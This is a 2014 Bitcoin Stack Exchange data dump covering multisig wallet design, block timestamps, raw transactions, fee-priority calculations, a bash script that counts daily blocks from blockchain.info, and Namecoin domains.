  <row Id="30589" PostTypeId="2" ParentId="6086" CreationDate="2014-09-20T03:03:09.247" Score="1" Body="&lt;p&gt;I will assume that you are able to create your own wallet, as you said. Under such circumstance, I would suggest that you follow the logic below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, let's suppose that someone has coded (as blockchain website released some tools into their API section) a software able to create bitcoin addresses for external users. In such a scenario, if the algorithms contained in such software, hosted in a server, can create a multi-signature wallet for the users, in the meaning that certain user would need both private keys (2 keys per each address) created by the software in order to spend the coins from such a single-address wallet, and if for example the server keeps the private key A and deliver to the user the private key B, then we would have the situation of a &quot;hybrid online wallet&quot; where only the user can use both keys, A + B, in order to create, sign and broadcast transactions related to his bitcoin address. I speak here about the case where only the user is allowed to proceed in order to spend coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such a system would be pretty secure for the user if the software owner would have no knowledge or interaction with private key A (or B) and if the encryption used before storing that private key A would make useless to any third party (even if reaching there) any access to that stored key from the server's database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, on the other hand, the sole way to construct a transaction and to sign it with both private keys might take place only in the server (this being a very important condition, as I will explain later in this scenario).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the software owner is willing to let the users to leave the server with both keys (for example, just to delete their accounts and establish such addresses as some truly cold wallets), he might employ two options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One would be to release directly to the user the private key A, thus empowering him to use elsewhere (if and when needed) the keys A and B for signing transactions, or the other (somehow better one) in which the algorithm allow to create a third key, the C key, which could be used in conjunction with key B in order to spend coins from that address. In other words, the user leaves again with two private keys in his pocket, enough for him to use them for depleting the corresponding address (public key). That can be realized either by using a seed (certain &quot;D&quot; private key), unique to the server (or to the user account), or establishing as seed even the key A. If the key A is used as a seed, then practically anyone with access to the source code of software could replicate the entire range of addresses created for the specific user (if the key A is &quot;user-account-specific&quot; and not &quot;address-specific&quot;). I see the last one as impossible to be used by any decent sysadmin (if he has the smallest idea about the risks incurred in such a low level security choice). So let's assume the server creates seeds with higher privileges (aka user-specific). That, again, could have catastrophic consequences for any careless user that would import that key A into any wallet from a device infected with malware. (Maybe that reminds us somehow of the Electrum wallet ? :/ ...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last option available which stands is that where the server has an own seed key (with highest privileges) which cannot be accessed by any third party, and that combined with at least another one (server protected with multi-signature, too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to your situation, you should have the key B offering elevated privileges (enabling you to create keys D, and further, but anyone using the D to not be able to create other keys). Because, though, such thing would be a burden to code, I would suggest some simpler option : the one way - one size shot - transaction. Which means that you import in any wallet of your choice the keys after some sweet cleaning of the basic functions. As once said Henry Ford about his cars &quot;you can order any color, as time as it is just black&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The imported address, wherever be it stored, might be coded such as to &lt;i&gt;make possible one single operation&lt;/i&gt;: send a payment of precise amount solely toward another address X of you (for example, only can send each time about 0.1 BTC toward your hot wallet -- pocket money). Need something more ? Another fixed tranche of 0.100 BTC, toward the same address. Just that. A perfect tweak. Of course, the X address might be stored in a hardware wallet, fully secure. Other kinds of spending might be made possible only using the server itself (as to unlock the full control over the address balance).&lt;/p&gt;&#xA;" OwnerUserId="19401" LastEditorUserId="19401" LastEditDate="2014-09-20T03:09:17.663" LastActivityDate="2014-09-20T03:09:17.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30590" PostTypeId="2" ParentId="30584" CreationDate="2014-09-20T08:28:29.033" Score="1" Body="&lt;p&gt;Such a graph would be fairly boring I presume as the supply is currently 25 BTC per 10 minutes. It's true that there's some variance and another factor is that it's actually 25 per a little less than 10 minutes because of the growth in hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoinwisdom.com has a graph that shows the average time between blocks which is inversely proportional to what you're asking.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-09-20T08:28:29.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30591" PostTypeId="2" ParentId="30584" CreationDate="2014-09-20T14:48:52.000" Score="2" Body="&lt;p&gt;Such a chart is trivial to create yourself by scraping blockchain.info. The following &lt;code&gt;bash&lt;/code&gt; script will do just that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;END=$(date -d 'today 00:00:00' +%s) # Today 00:00:00&#xA;START=1354147200 # Midnight 2012/11/29 (days after reward halving)&#xA;DIFF=86400 # Number of seconds in a day&#xA;&#xA;for i in $(seq $START $DIFF $END); do&#xA;  # Blockchain.info uses milliseconds, hence the additional 0s&#xA;  BLOCKS=$(curl -s https://blockchain.info/blocks/${i}000 | grep '(Main Chain)' | wc -l)&#xA;  BLOCK_DATE=$(date +'%Y-%m-%d' -d @${i})&#xA;  echo $BLOCK_DATE, $BLOCKS&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This iterates over all days since the block reward halving day (2012/11/28) and counts the blocks that have been mined on that day. The following plot shows the number of blocks per day. Multiply that by 25 and you get the daily supply of bitcoins entering the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ua1OO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the notion of day depends on the timezone you're in, and blockchain.info appears to use GMT timestamps. Also blockchain.info uses the timestamp included in the block, which might be off for up to 2 hours, but that should even out in the long run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the script and data &lt;a href=&quot;https://gist.github.com/cdecker/229ab36f551e5340d708&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-09-20T14:48:52.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30592" PostTypeId="1" CreationDate="2014-09-20T15:50:11.053" Score="2" ViewCount="571" Body="&lt;p&gt;I have had some Protoshares for a while.  At some point (according to my fuzzy memory) there was a &quot;snapshot&quot; which gave me the right to Bitshares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have access to my Protoshares wallet but haven't installed a Bitshares wallet.  How do I access the Bitshares that I received from the &quot;snapshot&quot;?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="5406" LastEditDate="2015-04-21T13:38:39.110" LastActivityDate="2015-04-21T13:48:59.833" Title="How do I access the Bitshares that I received from my Protoshares &quot;snapshot&quot;" Tags="|bitshares|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30593" PostTypeId="1" AcceptedAnswerId="30611" CreationDate="2014-09-20T22:16:06.020" Score="3" ViewCount="62" Body="&lt;p&gt;From &lt;a href=&quot;https://bitcoin.org/en/release/v0.8.2&quot; rel=&quot;nofollow&quot;&gt;the release notes&lt;/a&gt; of the Bitcoin version that introduced minimum transaction fees:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... note that we intend to replace the hard-coded fees with code that automatically calculates and suggests appropriate fees in the 0.9 release ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Has Gavin expanded on the implementation of this automatic calculation?&lt;/p&gt;&#xA;" OwnerUserId="4264" LastActivityDate="2014-09-22T09:51:47.360" Title="What did Gavin mean when said minimum fees would be automatically suggested?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30594" PostTypeId="1" AcceptedAnswerId="30595" CreationDate="2014-09-20T22:16:14.697" Score="5" ViewCount="417" Body="&lt;p&gt;As far as I understand, Bitcoin transactions include a timestamp, but the only requirement is that they don't differ for more than two hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why two hours? For computers that are constantly synced via NTP, two hours seem like a very big difference. I would expect that a difference of 10 minutes should be enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if this is about time zones and summer time, shouldn't they be using UTC time?&lt;/p&gt;&#xA;" OwnerUserId="3919" LastEditorUserId="5406" LastEditDate="2021-07-03T19:27:52.227" LastActivityDate="2021-07-03T19:27:52.227" Title="Why is two hours the maximum acceptable offset for Bitcoin blocks?" Tags="|protocol|timestamp|block-validity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30595" PostTypeId="2" ParentId="30594" CreationDate="2014-09-20T23:40:57.440" Score="7" Body="&lt;p&gt;Transactions don't have a timestamp. &lt;em&gt;Blocks&lt;/em&gt; have a timestamp. The difference is important, because the block timestamp on some of the blocks changes the difficulty.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is the maximum difference two hours?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not particularly important to have very accurate timestamps. Timestamps have two uses:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5838/how-is-difficulty-calculated&quot;&gt;Difficulty retargeting&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Calculating progress of synchronization. If the blockchain started in 2009, and the last block you saw was made in 2012, then you're about halfway done.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or, if this is about time zones and summer time, shouldn't they be using UTC time?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They do. Of course, not all systems are set up correctly. For example, imagine a system that doesn't use NTP. The user doesn't know how to set up DST correctly, so they move their computer's clock forward/backward an hour every spring/fall.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-09-20T23:40:57.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30596" PostTypeId="2" ParentId="20667" CreationDate="2014-09-21T00:20:11.083" Score="0" Body="&lt;p&gt;Blue bar on chapel st has one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.getbitcoin.com.au/bitcoin-news/melbournes-chapel-st-gets-new-bitcoin-atm&quot; rel=&quot;nofollow&quot;&gt;https://www.getbitcoin.com.au/bitcoin-news/melbournes-chapel-st-gets-new-bitcoin-atm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19408" LastActivityDate="2014-09-21T00:20:11.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30597" PostTypeId="1" CreationDate="2014-09-21T10:31:34.803" Score="1" ViewCount="95" Body="&lt;p&gt;Is it possible to change rules of mining bitcoin division?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;rewrite P2P bitcoin client (or write maleware) which will be pretending that &lt;em&gt;fake&lt;/em&gt; bitcoin client is legal, original client &lt;/li&gt;&#xA;&lt;li&gt;distribute program more/less widely&lt;/li&gt;&#xA;&lt;li&gt;then by &lt;em&gt;fake client&lt;/em&gt; division of mining loot will be with &lt;em&gt;fake/own&lt;/em&gt; rules (e.g. give more bitcoins to farm &lt;em&gt;X&lt;/em&gt;, even if farm &lt;em&gt;X&lt;/em&gt; didn't work more than others)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;no changing keys&lt;/li&gt;&#xA;&lt;li&gt;no faking difficulty level/spent time&lt;/li&gt;&#xA;&lt;li&gt;maybe changing proof-of-work action&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19411" LastActivityDate="2014-09-21T16:10:48.243" Title="Theoretical security of mining bitcoins" Tags="|security|proof-of-work|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30598" PostTypeId="1" AcceptedAnswerId="30599" CreationDate="2014-09-21T11:03:49.127" Score="1" ViewCount="1628" Body="&lt;p&gt;On Sep 17 I wanted to transfer 0.001 BTC from one Blockchain.info account (bitcoin address 1BFFtYPgtaZUHujDqiehqSseZvuUzJQxki) to another Blockchain.info account (bitcoin address 1DE4VjkipjVEoevVJCpLQARZcYdDvZgcow): transaction 2e358fe6cd80b998eeb3f4378ab0fdbcc8d78e5898a8ebf232394a96908d84be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got an email notification about this transaction:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Subject: Bitcoin Payment Received&lt;br&gt;&#xA;  Date: Wed, 17 Sep 2014 18:41:17 +0000 (UTC)  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Payment Received Notification&lt;br&gt;&#xA;  A Payment has been received into your bitcoin wallet.&lt;br&gt;&#xA;  2e358fe6cd80b998eeb3f4378ab0fdbcc8d78e5898a8ebf232394a96908d84be&lt;br&gt;&#xA;  1BFFtYPgtaZUHujDqiehqSseZvuUzJQxki -&gt; 1DE4VjkipjVEoevVJCpLQARZcYdDvZgcow 0.001 BTC&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Some days later I got the following email:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Subject: Bitcoin Transaction Failed&lt;br&gt;&#xA;  Date: Fri, 19 Sep 2014 19:03:34 +0000 (UTC)  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Transaction Confirmation Failed&#xA;  A transaction made through Blockchain.info has been removed from our database because it was taking a long time to be included in a block.&lt;br&gt;&#xA;  Any funds have been returned to your wallet and you can now spend the coins again. Please consider including a larger fee in future transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This happend because I have not included any transaction fee, I know. But I also got this email:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Subject: Bitcoin Payment Received&lt;br&gt;&#xA;  Date: Sat, 20 Sep 2014 02:41:23 +0000 (UTC)  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Payment Received Notification&lt;br&gt;&#xA;  A Payment has been received into your bitcoin wallet.&lt;br&gt;&#xA;  2e358fe6cd80b998eeb3f4378ab0fdbcc8d78e5898a8ebf232394a96908d84be&lt;br&gt;&#xA;  1BFFtYPgtaZUHujDqiehqSseZvuUzJQxki -&gt; 1DE4VjkipjVEoevVJCpLQARZcYdDvZgcow 0.001 BTC&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I took no action on the evening of Sep 19. I noticed the latest 2 mails on the morning of Sep 20. This new transaction was created automatically by Blockcain.info. Since the second email said &lt;code&gt;A transaction made through Blockchain.info has been removed from our database [...]&lt;/code&gt; I thought the transaction has been deleted but the new transaction ID is the same as on Sep 17.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at &lt;a href=&quot;https://blockchain.info/tx/2e358fe6cd80b998eeb3f4378ab0fdbcc8d78e5898a8ebf232394a96908d84be&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info Transaction 2e358fe6cd80b998eeb3f4378ab0fdbcc8d78e5898a8ebf232394a96908d84be&lt;/a&gt; you can see &lt;code&gt;Received Time 2014-09-20 02:41:16&lt;/code&gt;, not the original date &lt;code&gt;2014-09-17&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why have both transactions the same ID?&lt;/li&gt;&#xA;&lt;li&gt;Why do Blockchain.info automatically create a transaction without asking the user?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13832" LastActivityDate="2014-09-21T11:55:33.277" Title="Blockchain.info automatic transaction" Tags="|transactions|transaction-fees|blockchain.info|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30599" PostTypeId="2" ParentId="30598" CreationDate="2014-09-21T11:55:33.277" Score="1" Body="&lt;p&gt;You do not understand correctly how does bitcoin network work. Your first transaction was sent to a network and will live there until all it is valid or all nodes forget about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info just notifies you that it was not confirmed into a block in reasonable time. Blockchain.info removed it from its memory, but there are nodes on the network which do not forget about it and one of them broadcasted this transaction to its peers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why have both transactions the same ID?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These are not two transactions. This is one transacton, received by blockchain.info twice. First time you sent it. Second time blockchain.info received it fron one of peers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why do Blockchain.info automatically create a transaction without asking the user?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They did not.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-09-21T11:55:33.277" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30600" PostTypeId="2" ParentId="30597" CreationDate="2014-09-21T12:01:45.347" Score="1" Body="&lt;p&gt;Yes, it is possible.&#xA;This is &quot;hard-fork&quot; (bitcoin with other rules) or &quot;alt-coin&quot; (any crypto-currency with its own rules)&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-09-21T12:01:45.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30601" PostTypeId="2" ParentId="30597" CreationDate="2014-09-21T16:10:48.243" Score="1" Body="&lt;p&gt;No. Your question is very hard to make sense but whatever any fake node does still requires the Proof Of Work which cannot be faked. Anything the fake node does (with or without proof of work) that's not according to the consensus rules will be rejected by other nodes. From that moment on the fake node is not dealing with bitcoin anymore no matter how hard it tries to put that label on it.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-09-21T16:10:48.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30602" PostTypeId="2" ParentId="30149" CreationDate="2014-09-21T18:40:03.580" Score="3" Body="&lt;p&gt;When you use &lt;code&gt;importprivkey&lt;/code&gt;, the new private key is added to your wallet, giving you the ability to send coins received by a corresponding Bitcoin address. Your &lt;strong&gt;&quot;balance&quot;&lt;/strong&gt; will also reflect this, including the coins accessible by this key in the total balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoind low level API gives you a pretty fine-grained control over your coins. Since there is no notion of a &lt;em&gt;&quot;source address&quot;&lt;/em&gt; in the Bitcoin protocol, you have to specify the exact &lt;strong&gt;transaction and&lt;/strong&gt; its &lt;strong&gt;output&lt;/strong&gt; that you want to spend. Instead of using the common high-level RPC like &lt;code&gt;sendtoaddress&lt;/code&gt;, you need to manually create a &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;raw transaction&lt;/a&gt;, which comes in a few steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Prepare the transaction via &lt;code&gt;createrawtransaction&lt;/code&gt; command, specifying outputs that you want to spend,&lt;/li&gt;&#xA;&lt;li&gt;Sign the transaction using your imported private key via &lt;code&gt;signrawtransaction&lt;/code&gt;,&lt;/li&gt;&#xA;&lt;li&gt;Send it onto network using &lt;code&gt;sendrawtransaction&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Be careful when using this API as Bitcoind does not protect you from making fatal mistakes, rendering your coins unspendable. Make sure you test your code on the testnet thoroughly before going live.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-09-21T18:40:03.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30603" PostTypeId="2" ParentId="30581" CreationDate="2014-09-21T21:24:27.787" Score="3" Body="&lt;p&gt;Ok, I've successfully transferred my .000047 BTC to my other wallet using the Bitcoin Core client. Aussie's information was pretty much critical to me figuring out how to do it. Basically, I sent myself a significant amount of bitcoins, waited a couple days, then transferred everything back to my other wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it requires the use of sending bitcoins there first, and transferring those bitcoins to another wallet, it will only work if you're sending bitcoins to yourself. But you could use this technique to basically aggregate bitcoins into one transaction, which can then be used to send small amounts of bitcoins to someone else. Here's the method:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Decide how in-a-rush you are - how many days you want to wait to be able to transfer the money.&lt;/li&gt;&#xA;&lt;li&gt;Calculate how many bitcoins it would take to make your transaction reach a priority above 57,600,000 in that amount of time&lt;/li&gt;&#xA;&lt;li&gt;Send that many bitcoins to the wallet with a very small amount of BTC&lt;/li&gt;&#xA;&lt;li&gt;Wait the number of days you decided in step 1&lt;/li&gt;&#xA;&lt;li&gt;Send the bitcoins where ever you want with &lt;strong&gt;no fee&lt;/strong&gt;!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Calculating Priority&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fee&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki page on Transaction Fees&lt;/a&gt; describes how to calculate the priority of a transaction. Here's my embellishment to that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;priority&lt;/strong&gt; = sum(inputValue_t * inputAge_t)/sizeInBytes&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;inputValue_t&lt;/strong&gt; = numberOfBitcoins_t*100'000'000&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;sizeInBytes&lt;/strong&gt; = 78+148*numberOfTransactions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;where&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;sum&lt;/strong&gt; is the sum over all the transaction inputs.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_t&lt;/strong&gt; indicates the value is for a particular transaction in the sum&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;inputValue_t&lt;/strong&gt; is the amount of bitcoin in &lt;strong&gt;base units&lt;/strong&gt; in a given transaction to one of your wallets&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;inputAge_t&lt;/strong&gt; is the number of confirmations that transaction input has undergone&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;numberOfBitcoins_t&lt;/strong&gt; is the raw number of bitcoins of a transaction input (this can be seen if you enable Coin Control Features and click on the &quot;Inputs&quot; button in the Send view of Bitcoin Core)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;sizeInBytes&lt;/strong&gt; is the number of bytes the whole new outgoing transaction takes up.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;numberOfTransactions&lt;/strong&gt; is the number of transactions in the sum&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So that priority that you calculate must be greater than 57.6 million in order to send without a fee. So if you have a small number of bitcoins stuck somewhere, you need to add a new larger transaction that can pull them out essentially. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Calcuating how many new bitcoins you need&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Here's a simplified equation solved for that new larger transaction's amount of bitcoins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;newTransaction&lt;/strong&gt; = (.576 * (78 + 148*numberOfTransactions) &lt;strong&gt;-&lt;/strong&gt; sum(inputBitcoins_t * inputAge_t)) / (144 * days)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;where&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;numberOfTransactions&lt;/strong&gt; is the number of old transactions you have plus 1 (the new transaction you'll need)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;inputBitcoins_t&lt;/strong&gt; is the number of bitcoins (not &quot;base units&quot; - just the raw number of bitcoins)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;inputAge_t&lt;/strong&gt; is the number of confirmations of each old transaction&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;days&lt;/strong&gt; is the number of days you're willing to wait&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's a confirmation about once every 10 minutes, which adds up to 144 confirmations per day. and .576 comes from 57.6 million divided by the ratio of base units to raw bitcoins (100 million)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Lets say you have the following two inputs&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;.00004 bitcions with 400 confirmations&lt;/li&gt;&#xA;&lt;li&gt;.00001 bitcoins with 95000 confirmations&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;priority&lt;/strong&gt; is slightly less than &lt;em&gt;2500000&lt;/em&gt; ~= (.00004*400+.0001*95000)*100*1000*1000/(78+148*2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of &lt;strong&gt;new bitcoins&lt;/strong&gt; you would need to send the transaction in 2 days is slightly less than &lt;em&gt;1.011&lt;/em&gt; bitcoins ~= (.576*(78+148*3) - (.00004*400+.0001*95000))/(144*2)&lt;/p&gt;&#xA;" OwnerUserId="5254" LastEditorUserId="5254" LastEditDate="2014-09-24T21:32:17.230" LastActivityDate="2014-09-24T21:32:17.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30604" PostTypeId="1" CreationDate="2014-09-21T22:12:55.607" Score="5" ViewCount="1066" Body="&lt;p&gt;I made a mistake today where I shorted BTC on Bitfinex using BTC as collateral. Why is this even possible, I cant figure out why someone would want to do that?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-11-19T04:38:27.443" Title="Why does Bitfinex allow shorting with BTC as collateral?" Tags="|trading|bitfinex|margin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30605" PostTypeId="1" AcceptedAnswerId="30606" CreationDate="2014-09-21T23:15:58.047" Score="3" ViewCount="472" Body="&lt;p&gt;Namecoin is a generic name-value store, so I'm wondering if its possible to register .com domains in namecoin. The answer here seems to suggest you can register any domain you want &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5683/how-do-i-register-a-bit-domain-name-with-namecoin&quot;&gt;How do I register a .bit domain name with Namecoin?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5254" LastEditorUserId="5254" LastEditDate="2017-07-19T08:51:35.000" LastActivityDate="2017-07-19T08:51:35.000" Title="Can you register a .com domain with namecoin?" Tags="|namecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30606" PostTypeId="2" ParentId="30605" CreationDate="2014-09-21T23:24:47.053" Score="7" Body="&lt;p&gt;Namecoin was the first fork from Bitcoin, and is a blockchain based peer-to-peer network which maintains a decentral ledger of registered names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the convention, that when you register a Namecoin name starting with &lt;code&gt;d/&lt;/code&gt; that appropriate DNS resolution software would translate this information to a &lt;code&gt;.bit&lt;/code&gt; address. E.g. &lt;code&gt;d/myself&lt;/code&gt; would be resolved to &lt;code&gt;myself.bit&lt;/code&gt;.&lt;br&gt;&#xA;On the other hand, the responsibility for managing regular top-level domains (&lt;a href=&quot;http://en.wikipedia.org/wiki/Top-level_domain&quot; rel=&quot;nofollow&quot;&gt;TLD&lt;/a&gt;) is assigned by the Internet Corporation for Assigned Names and Numbers (&lt;a href=&quot;http://en.wikipedia.org/wiki/ICANN&quot; rel=&quot;nofollow&quot;&gt;ICANN&lt;/a&gt;) to specific organizations, with which a regular user can then register a domain directly or through intermediaries.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;.bit&quot; domain used by Namecoin didn't exist in the Domain Name System (&lt;a href=&quot;http://en.wikipedia.org/wiki/Domain_Name_System&quot; rel=&quot;nofollow&quot;&gt;DNS&lt;/a&gt;) before. As far as I am aware, there are no conventions for established top-level domains. That would be especially problematic in the case, when the two resources managing the same namespace would end up with conflicting information: &#xA;It would be somewhat detrimental to the user experience if domains were to resolve to different pages depending on whether you used the Namecoin extension or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example of Namecoin usage is the application &lt;a href=&quot;https://onename.io/&quot; rel=&quot;nofollow&quot;&gt;OneName&lt;/a&gt;, which resolves names starting with &lt;code&gt;u/&lt;/code&gt; to point to Bitcoin addresses of their users.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-09-22T16:26:49.400" LastActivityDate="2014-09-22T16:26:49.400" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
